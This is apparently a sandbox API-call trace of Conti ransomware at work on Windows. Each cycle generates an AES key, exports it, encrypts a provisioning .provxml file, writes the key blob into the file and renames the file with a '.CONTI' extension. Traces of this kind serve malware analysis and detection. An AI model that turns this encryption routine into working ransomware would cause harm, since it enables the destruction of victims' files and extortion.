	[0114.155] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x309, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x310) returned 1
	[0114.156] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.156] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x310, lpOverlapped=0x0) returned 1
	[0114.156] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.156] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c2a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4c2a8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.156] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.156] CloseHandle (hObject=0x3ac) returned 1
	[0114.156] GetProcessHeap () returned 0x1720000
	[0114.156] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.156] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml"
	[0114.156] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.156] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.157] GetProcessHeap () returned 0x1720000
	[0114.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.157] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.157] GetProcessHeap () returned 0x1720000
	[0114.157] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c90e8 | out: hHeap=0x1720000) returned 1
	[0114.157] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.157] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4c740 | out: phKey=0x6b4c740*=0x17c7bf0) returned 1
	[0114.157] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4c744, pdwDataLen=0x55ffb34 | out: pbData=0x6b4c744*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.158] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20
	[0114.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.158] GetLastError () returned 0x0
	[0114.158] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=447) returned 1
	[0114.158] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1bf
	[0114.158] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.158] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.163] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.163] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.163] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c744*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b4c744*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.169] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.169] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x1bf, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x1bf, lpOverlapped=0x0) returned 1
	[0114.169] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1bf, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x1c0) returned 1
	[0114.169] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.170] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x1c0, lpOverlapped=0x0) returned 1
	[0114.170] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.170] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4c738*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b4c738*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.170] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.170] CloseHandle (hObject=0x3ac) returned 1
	[0114.170] GetProcessHeap () returned 0x1720000
	[0114.170] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.170] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml"
	[0114.170] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI"
	[0114.170] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml.conti")) returned 1
	[0114.171] GetProcessHeap () returned 0x1720000
	[0114.171] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.171] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0114.171] GetProcessHeap () returned 0x1720000
	[0114.171] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c8f90 | out: hHeap=0x1720000) returned 1
	[0114.171] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.171] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b49080 | out: phKey=0x6b49080*=0x17c7d30) returned 1
	[0114.171] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49084, pdwDataLen=0x55ffb34 | out: pbData=0x6b49084*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.172] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.172] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.173] GetLastError () returned 0x0
	[0114.173] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=921) returned 1
	[0114.173] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x399
	[0114.173] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.173] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.173] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.173] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.173] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b49084*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.179] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.179] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x399, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x399, lpOverlapped=0x0) returned 1
	[0114.179] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x399, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x3a0) returned 1
	[0114.179] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.179] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x3a0, lpOverlapped=0x0) returned 1
	[0114.179] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.179] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b49078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b49078*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.179] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.179] CloseHandle (hObject=0x3ac) returned 1
	[0114.179] GetProcessHeap () returned 0x1720000
	[0114.179] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.180] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml"
	[0114.180] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.180] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.180] GetProcessHeap () returned 0x1720000
	[0114.180] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.180] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.180] GetProcessHeap () returned 0x1720000
	[0114.180] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54ea0 | out: hHeap=0x1720000) returned 1
	[0114.181] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.181] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b50bb0 | out: phKey=0x6b50bb0*=0x17c7d30) returned 1
	[0114.181] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175db70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b50bb4, pdwDataLen=0x55ffb34 | out: pbData=0x6b50bb4*, pdwDataLen=0x55ffb34*=0x20c) returned 1
	[0114.181] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.182] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0114.182] GetLastError () returned 0x0
	[0114.182] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x55ffae0 | out: lpFileSize=0x55ffae0*=903) returned 1
	[0114.182] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x387
	[0114.182] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.182] SetEndOfFile (hFile=0x3ac) returned 1
	[0114.182] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.182] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.182] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b50bb4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x55ffaec, lpOverlapped=0x0 | out: lpBuffer=0x6b50bb4*, lpNumberOfBytesWritten=0x55ffaec*=0x20c, lpOverlapped=0x0) returned 1
	[0114.185] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.185] ReadFile (in: hFile=0x3ac, lpBuffer=0x102d0000, nNumberOfBytesToRead=0x387, lpNumberOfBytesRead=0x55ffb0c, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesRead=0x55ffb0c*=0x387, lpOverlapped=0x0) returned 1
	[0114.186] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x387, dwBufLen=0x500000 | out: pbData=0x102d0000*, pdwDataLen=0x55ffb04*=0x390) returned 1
	[0114.186] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.186] WriteFile (in: hFile=0x3ac, lpBuffer=0x102d0000*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x55ffb20, lpOverlapped=0x0 | out: lpBuffer=0x102d0000*, lpNumberOfBytesWritten=0x55ffb20*=0x390, lpOverlapped=0x0) returned 1
	[0114.186] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.186] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b50ba8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x55ffb38, lpOverlapped=0x0 | out: lpBuffer=0x6b50ba8*, lpNumberOfBytesWritten=0x55ffb38*=0x8, lpOverlapped=0x0) returned 1
	[0114.186] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.186] CloseHandle (hObject=0x3ac) returned 1
	[0114.186] GetProcessHeap () returned 0x1720000
	[0114.186] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.186] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml"
	[0114.186] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.186] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.187] GetProcessHeap () returned 0x1720000
	[0114.187] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.187] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.187] GetProcessHeap () returned 0x1720000
	[0114.187] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54fe8 | out: hHeap=0x1720000) returned 1
	[0114.187] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x55ffb5c, lpCompletionKey=0x55ffb60, lpOverlapped=0x55ffb6c) returned 1
	[0114.187] CryptGenKey (in: hProv=0x176bf08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x17c7bf0) returned 1
